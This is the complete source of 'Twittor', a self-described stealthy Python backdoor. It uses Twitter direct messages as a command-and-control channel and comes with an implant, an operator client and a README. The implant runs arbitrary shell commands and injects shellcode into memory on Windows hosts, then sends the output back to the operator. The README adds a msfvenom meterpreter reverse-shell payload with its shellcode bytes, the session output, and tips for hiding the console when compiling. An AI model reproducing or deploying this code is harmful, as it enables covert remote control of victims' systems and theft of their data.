├── LICENSE ├── README.md ├── implant.py ├── requirements.txt └── twittor.py /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Paul 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Twittor 2 | ==== 3 | A stealthy Python based backdoor that uses Twitter (Direct Messages) as a command and control server 4 | This project has been inspired by [Gcat](https://github.com/byt3bl33d3r/gcat) which does the same but using a Gmail account. 5 | 6 | Setup 7 | ===== 8 | For this to work you need: 9 | - A Twitter account (**Use a dedicated account! Do not use your personal one!**) 10 | - [Register an app](https://apps.twitter.com/app/new) on Twitter with **Read, write, and direct messages** Access levels. 11 | 12 | Install the dependencies: 13 | 14 | ``` 15 | $ pip install -r requirements.txt 16 | ``` 17 | 18 | This repo contains two files: 19 | - ```twittor.py``` which is the client 20 | - ```implant.py``` the actual backdoor to deploy 21 | 22 | In both files, edit the access token part and add the ones that you previously generated: 23 | 24 | ```python 25 | CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 26 | CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 27 | 28 | ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 29 | ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 30 | 31 | USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX' 32 | ``` 33 | 34 | You're probably going to want to compile ```implant.py``` into an executable using [Pyinstaller](https://github.com/pyinstaller/pyinstaller) 35 | In order to remove the console when compiling with Pyinstaller, the flags ```--noconsole --onefile``` will help. Just saying. 36 | 37 | Usage 38 | ===== 39 | 40 | In order to run the client, launch the script. 41 | 42 | ``` 43 | $ python twittor.py 44 | ``` 45 | 46 | You'll then get into an 'interactive' shell which offers few commands that are: 47 | 48 | ``` 49 | $ help 50 | 51 | refresh - refresh C&C control 52 | list_bots - list active bots 53 | list_commands - list executed commands 54 | !retrieve - retrieve jobid command 55 | !cmd command - execute the command on the bot 56 | !shellcode shellcode - load and execute shellcode in memory (Windows only) 57 | help - print this usage 58 | exit - exit the client 59 | 60 | $ 61 | ``` 62 | 63 | - Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command: 64 | ``` 65 | $ list_bots 66 | B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise 67 | $ 68 | ``` 69 | 70 | The output is the MAC address which is used to uniquely identifies the system but also gives you OS information the implant is running on. In that case a Linux box. 71 | 72 | 73 | - Let's issue a command to an implant: 74 | ``` 75 | $ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd 76 | [+] Sent command "cat /etc/passwd" with jobid: UMW07r2 77 | $ 78 | ``` 79 | 80 | Here we are telling ```B7:76:1F:0B:50:B7``` to execute ```cat /etc/passwd```, the script then outputs the ```jobid``` that we can use to retrieve the output of that command 81 | 82 | - Lets get the results! 83 | 84 | ``` 85 | $ !retrieve UMW07r2 86 | root:x:0:0:root:/root:/bin/bash 87 | daemon:x:1:1:daemon:/usr/sbin:/bin/sh 88 | bin:x:2:2:bin:/bin:/bin/sh 89 | sys:x:3:3:sys:/dev:/bin/sh 90 | sync:x:4:65534:sync:/bin:/bin/sync 91 | games:x:5:60:games:/usr/games:/bin/sh 92 | man:x:6:12:man:/var/cache/man:/bin/sh 93 | lp:x:7:7:lp:/var/spool/lpd:/bin/sh 94 | mail:x:8:8:mail:/var/mail:/bin/sh 95 | news:x:9:9:news:/var/spool/news:/bin/sh 96 | uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 97 | proxy:x:13:13:proxy:/bin:/bin/sh 98 | www-data:x:33:33:www-data:/var/www:/bin/sh 99 | list:x:38:38:Mailing List Manager:/var/list:/bin/sh 100 | irc:x:39:39:ircd:/var/run/ircd:/bin/sh 101 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh 102 | (...) 103 | ``` 104 | 105 | Command to use in that case is ```!retrieve``` followed by the jobid from the command. 106 | 107 | - Refresh results 108 | 109 | In order to retrieve new bots/command outputs but also force the client to refresh the results, use the ```refresh``` command. 110 | 111 | ``` 112 | $ refresh 113 | [+] Sending command to retrieve alive bots 114 | [+] Sleeping 10 secs to wait for bots 115 | $ 116 | ``` 117 | 118 | This will send a ```PING``` request and wait 10 seconds for them to answer. 119 | Direct messages will then be parsed - Bot list will be refreshed but also the command list, including new command outputs. 120 | 121 | - Retrieve previous commands 122 | 123 | As I said earlier, (previous) commands will be retrieved from older direct messages (limit is 200) and you can actually retrieve/see them by using the ```list_commands``` command 124 | 125 | ``` 126 | $ list_commands 127 | 8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1 128 | VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1 129 | 9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1 130 | aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1 131 | 8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1 132 | $ 133 | ``` 134 | 135 | - Running shellcode (Windows hosts) 136 | 137 | This option might be handy in order to retrieve a meterpreter session and [this article](http://netsec.ws/?p=331#more-331) becomes really useful. 138 | 139 | Generate your meterpreter shellcode, like: 140 | 141 | ``` 142 | # msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python 143 | (...) 144 | Payload size: 299 bytes 145 | buf = "" 146 | buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" 147 | buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" 148 | buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" 149 | buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" 150 | buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" 151 | buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" 152 | buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" 153 | buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" 154 | buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" 155 | buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" 156 | buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" 157 | buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" 158 | buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" 159 | buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" 160 | buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68" 161 | buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5" 162 | buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec" 163 | buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02" 164 | buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a" 165 | buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" 166 | buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" 167 | buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6" 168 | buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5" 169 | ``` 170 | 171 | Extract the shellcode and send it to the specified bot using the ```!shellcode``` command! 172 | 173 | ``` 174 | $ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...) 175 | [+] Sent shellcode with jobid: xdr7mtN 176 | $ 177 | ``` 178 | 179 | Et voilà! 180 | 181 | ``` 182 | msf exploit(handler) > exploit 183 | 184 | [*] Started reverse handler on 10.0.0.1:3615 185 | [*] Starting the payload handler... 186 | [*] Sending stage (884270 bytes) to 10.0.0.99 187 | [*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400 188 | 189 | meterpreter > getuid 190 | Server username: WIN-XXXXXXXXX\PaulSec 191 | ``` 192 | 193 | Open a beer and enjoy your reverse meterpreter shell. 194 | 195 | Contributing and/or questions? 196 | ===== 197 | 198 | Project is entirely open source and released under MIT license. 199 | I mostly wanted to create a PoC after Twitter decided to remove the 140 characters limit for the Direct Messages. 200 | Few stuff should be added such as Encryption (Adding AES on top of it). 201 | "Messages" are using a dictionary data structure and the whole command is only base64 encoded. 202 | Fork the project, contribute, submit pull requests, and have fun. 203 | 204 | If you find a bug, open an issue on Github and/or ping me on [Twitter](http://twitter.com/PaulWebSec). 205 | 206 | Again, feel free to check the [Gcat](https://github.com/byt3bl33d3r/gcat) amazing project from [byt3bl33d3r](https://twitter.com/byt3bl33d3r) that inspired me a lot. 207 | -------------------------------------------------------------------------------- /implant.py: -------------------------------------------------------------------------------- 1 | from tweepy import Stream 2 | from tweepy import OAuthHandler 3 | from tweepy import API 4 | from tweepy.streaming import StreamListener 5 | from uuid import getnode as get_mac 6 | import ctypes 7 | import json 8 | import threading 9 | import subprocess 10 | import base64 11 | import platform 12 | 13 | 14 | api = None 15 | 16 | # These values are appropriately filled in the code 17 | CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 18 | CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 19 | 20 | ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 21 | ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 22 | 23 | USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX' 24 | MAC_ADDRESS = ':'.join(("%012X" % get_mac())[i:i + 2] for i in range(0, 12, 2)) 25 | 26 | # 27 | # Exception for Twittor 28 | # 29 | 30 | 31 | class TwittorException(Exception): 32 | """ 33 | Base exception 34 | """ 35 | 36 | def __init__(self, message, errors): 37 | Exception.__init__(self, message) 38 | self.errors = errors 39 | 40 | # 41 | # Decoding exception when decoding a message 42 | # 43 | 44 | 45 | class DecodingException(TwittorException): 46 | """ 47 | Exception when trying to decode a CommandOutput 48 | """ 49 | 50 | # 51 | # Class to parse received Command 52 | # 53 | 54 | 55 | class CommandToExecute: 56 | 57 | def __init__(self, message): 58 | try: 59 | data = json.loads(base64.b64decode(message)) 60 | self.data = data 61 | self.sender = data['sender'] 62 | self.receiver = data['receiver'] 63 | self.cmd = data['cmd'] 64 | self.jobid = data['jobid'] 65 | except: 66 | raise DecodingException('Error decoding message: %s' % message) 67 | 68 | def is_for_me(self): 69 | global MAC_ADDRESS 70 | return MAC_ADDRESS == self.receiver or self.cmd == 'PING' and 'output' not in self.data 71 | 72 | def retrieve_command(self): 73 | return self.jobid, self.cmd 74 | 75 | # 76 | # Class to build Command to send 77 | # 78 | 79 | 80 | class CommandOutput: 81 | 82 | def __init__(self, sender, receiver, output, jobid, cmd): 83 | self.sender = sender 84 | self.receiver = receiver 85 | self.output = output 86 | self.cmd = cmd 87 | self.jobid = jobid 88 | 89 | def build(self): 90 | cmd = {'sender': self.sender, 91 | 'receiver': self.receiver, 92 | 'output': self.output, 93 | 'cmd': self.cmd, 94 | 'jobid': self.jobid} 95 | return base64.b64encode(json.dumps(cmd)) 96 | 97 | # 98 | # Execute shellcode on a separate thread 99 | # 100 | 101 | 102 | class ExecuteShellcode(threading.Thread): 103 | 104 | def __init__(self, jobid, shellc): 105 | threading.Thread.__init__(self) 106 | self.shellc = shellc 107 | self.jobid = jobid 108 | 109 | self.daemon = True 110 | self.start() 111 | 112 | def run(self): 113 | try: 114 | shellcode = bytearray(self.shellc) 115 | 116 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 117 | ctypes.c_int(len(shellcode)), 118 | ctypes.c_int(0x3000), 119 | ctypes.c_int(0x40)) 120 | 121 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 122 | 123 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) 124 | 125 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 126 | ctypes.c_int(0), 127 | ctypes.c_int(ptr), 128 | ctypes.c_int(0), 129 | ctypes.c_int(0), 130 | ctypes.pointer(ctypes.c_int(0))) 131 | 132 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) 133 | 134 | except Exception as e: 135 | print e 136 | pass 137 | 138 | # 139 | # Execute Command on a separate thread 140 | # 141 | 142 | 143 | class ExecuteCommand(threading.Thread): 144 | 145 | def __init__(self, jobid, cmd): 146 | threading.Thread.__init__(self) 147 | self.jobid = jobid 148 | self.command = cmd 149 | 150 | self.daemon = True 151 | self.start() 152 | 153 | def run(self): 154 | if (self.command == 'PING'): 155 | output = platform.platform() 156 | else: 157 | output = subprocess.check_output(self.command, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) 158 | output_command = CommandOutput(MAC_ADDRESS, 'master', output, self.jobid, self.command) 159 | api.send_direct_message(user=USERNAME, text=output_command.build()) 160 | 161 | # 162 | # Listener to stream Twitter messages and intercept Direct Messages 163 | # 164 | 165 | 166 | class StdOutListener(StreamListener): 167 | 168 | def on_data(self, status): 169 | try: 170 | data = json.loads(status) 171 | if data['direct_message'] and data['direct_message']['sender_screen_name'] == USERNAME: 172 | try: 173 | cmd = CommandToExecute(data['direct_message']['text']) 174 | if (cmd.is_for_me()): 175 | jobid, cmd = cmd.retrieve_command() 176 | print 'jobid: %s, cmd to execute: %s' % (jobid, cmd) 177 | if (cmd.split(' ')[0] == 'shellcode'): 178 | sc = base64.b64decode(cmd.split(' ')[1]).decode('string-escape') 179 | ExecuteShellcode(jobid, sc) 180 | else: 181 | ExecuteCommand(jobid, cmd) 182 | except: 183 | pass 184 | except: 185 | print 'Did not manage to decode %s' % status 186 | return True 187 | 188 | 189 | def main(): 190 | global api 191 | 192 | try: 193 | auth = OAuthHandler(CONSUMER_TOKEN, CONSUMER_SECRET) 194 | auth.secure = True 195 | auth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET) 196 | 197 | api = API(auth) 198 | stream = Stream(auth, StdOutListener()) 199 | stream.userstream() 200 | 201 | except BaseException as e: 202 | print("Error in main()", e) 203 | 204 | if __name__ == '__main__': 205 | main() 206 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | tweepy -------------------------------------------------------------------------------- /twittor.py: -------------------------------------------------------------------------------- 1 | import tweepy 2 | import base64 3 | import json 4 | import random 5 | import string 6 | import time 7 | import sys 8 | 9 | CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 10 | CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 11 | 12 | ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 13 | ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 14 | 15 | USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX' 16 | BOTS_ALIVE = [] 17 | COMMANDS = [] 18 | 19 | api = None 20 | 21 | # 22 | # Exception for Twittor 23 | # 24 | 25 | 26 | class TwittorException(Exception): 27 | """ 28 | Base exception 29 | """ 30 | 31 | def __init__(self, message, errors): 32 | Exception.__init__(self, message) 33 | self.errors = errors 34 | 35 | 36 | class DecodingException(TwittorException): 37 | """ 38 | Exception when trying to decode a CommandOutput 39 | """ 40 | 41 | # 42 | # Class to build Command to send 43 | # 44 | 45 | 46 | class CommandOutput: 47 | 48 | def __init__(self, message): 49 | try: 50 | data = json.loads(base64.b64decode(message)) 51 | self.data = data 52 | self.sender = data['sender'] 53 | self.receiver = data['receiver'] 54 | self.output = data['output'] 55 | self.cmd = data['cmd'] 56 | self.jobid = data['jobid'] 57 | except: 58 | raise DecodingException('Error decoding message: %s' % message) 59 | 60 | def get_jobid(self): 61 | return self.jobid 62 | 63 | def get_sender(self): 64 | return self.sender 65 | 66 | def get_receiver(self): 67 | return self.receiver 68 | 69 | def get_cmd(self): 70 | return self.cmd 71 | 72 | def get_output(self): 73 | return self.output 74 | 75 | # 76 | # Class to send commands 77 | # 78 | 79 | 80 | class CommandToSend: 81 | def __init__(self, sender, receiver, cmd): 82 | self.sender = sender 83 | self.receiver = receiver 84 | self.cmd = cmd 85 | self.jobid = ''.join(random.sample(string.ascii_letters + string.digits, 7)) 86 | 87 | def build(self): 88 | cmd = {'sender': self.sender, 89 | 'receiver': self.receiver, 90 | 'cmd': self.cmd, 91 | 'jobid': self.jobid} 92 | return base64.b64encode(json.dumps(cmd)) 93 | 94 | def get_jobid(self): 95 | return self.jobid 96 | 97 | 98 | def refresh(refresh_bots=True): 99 | global BOTS_ALIVE 100 | global COMMANDS 101 | 102 | if refresh_bots: 103 | BOTS_ALIVE = [] 104 | 105 | print '[+] Sending command to retrieve alive bots' 106 | cmd = CommandToSend('master', 'w00tw00tw00t', 'PING') 107 | jobid = cmd.get_jobid() 108 | api.send_direct_message(user=USERNAME, text=cmd.build()) 109 | 110 | print '[+] Sleeping 10 secs to wait for bots' 111 | time.sleep(10) 112 | 113 | for message in api.direct_messages(count=200, full_text="true"): 114 | if (message.sender_screen_name == USERNAME): 115 | try: 116 | message = CommandOutput(message.text) 117 | if refresh_bots and message.get_jobid() == jobid: 118 | BOTS_ALIVE.append(message) 119 | else: 120 | COMMANDS.append(message) 121 | except: 122 | pass 123 | if refresh_bots: 124 | list_bots() 125 | 126 | 127 | def list_bots(): 128 | if (len(BOTS_ALIVE) == 0): 129 | print "[-] No bots alive" 130 | return 131 | 132 | for bot in BOTS_ALIVE: 133 | print "%s: %s" % (bot.get_sender(), bot.get_output()) 134 | 135 | 136 | def list_commands(): 137 | if (len(COMMANDS) == 0): 138 | print "[-] No commands loaded" 139 | return 140 | 141 | for command in COMMANDS: 142 | print "%s: '%s' on %s" % (command.get_jobid(), command.get_cmd(), command.get_sender()) 143 | 144 | 145 | def retrieve_command(id_command): 146 | # retrieve command ouputs but don't refresh bot list 147 | refresh(False) 148 | for command in COMMANDS: 149 | if (command.get_jobid() == id_command): 150 | print "%s: %s" % (command.get_jobid(), command.get_output()) 151 | return 152 | print "[-] Did not manage to retrieve the output" 153 | 154 | 155 | def help(): 156 | print """ 157 | refresh - refresh C&C control 158 | list_bots - list active bots 159 | list_commands - list executed commands 160 | !retrieve - retrieve jobid command 161 | !cmd command - execute the command on the bot 162 | !shellcode shellcode - load and execute shellcode in memory (Windows only) 163 | help - print this usage 164 | exit - exit the client 165 | """ 166 | 167 | 168 | def main(): 169 | global api 170 | 171 | auth = tweepy.OAuthHandler(CONSUMER_TOKEN, CONSUMER_SECRET) 172 | auth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET) 173 | 174 | # Construct the API instance 175 | api = tweepy.API(auth) 176 | 177 | refresh() 178 | while True: 179 | cmd_to_launch = raw_input('$ ') 180 | if (cmd_to_launch == 'refresh'): 181 | refresh() 182 | elif (cmd_to_launch == 'list_bots'): 183 | list_bots() 184 | elif (cmd_to_launch == 'list_commands'): 185 | list_commands() 186 | elif (cmd_to_launch == 'help'): 187 | help() 188 | elif (cmd_to_launch == 'exit'): 189 | sys.exit(0) 190 | else: 191 | cmd_to_launch = cmd_to_launch.split(' ') 192 | if (cmd_to_launch[0] == "!cmd"): 193 | cmd = CommandToSend('master', cmd_to_launch[1], ' '.join(cmd_to_launch[2:])) 194 | api.send_direct_message(user=USERNAME, text=cmd.build()) 195 | print '[+] Sent command "%s" with jobid: %s' % (' '.join(cmd_to_launch[2:]), cmd.get_jobid()) 196 | elif (cmd_to_launch[0] == "!shellcode"): 197 | cmd = CommandToSend('master', cmd_to_launch[1], 'shellcode %s' % base64.b64encode(cmd_to_launch[2])) 198 | api.send_direct_message(user=USERNAME, text=cmd.build()) 199 | print '[+] Sent shellcode with jobid: %s' % (cmd.get_jobid()) 200 | elif (cmd_to_launch[0] == "!retrieve"): 201 | retrieve_command(cmd_to_launch[1]) 202 | else: 203 | print "[!] Unrecognized command" 204 | 205 | if __name__ == '__main__': 206 | main() 207 | --------------------------------------------------------------------------------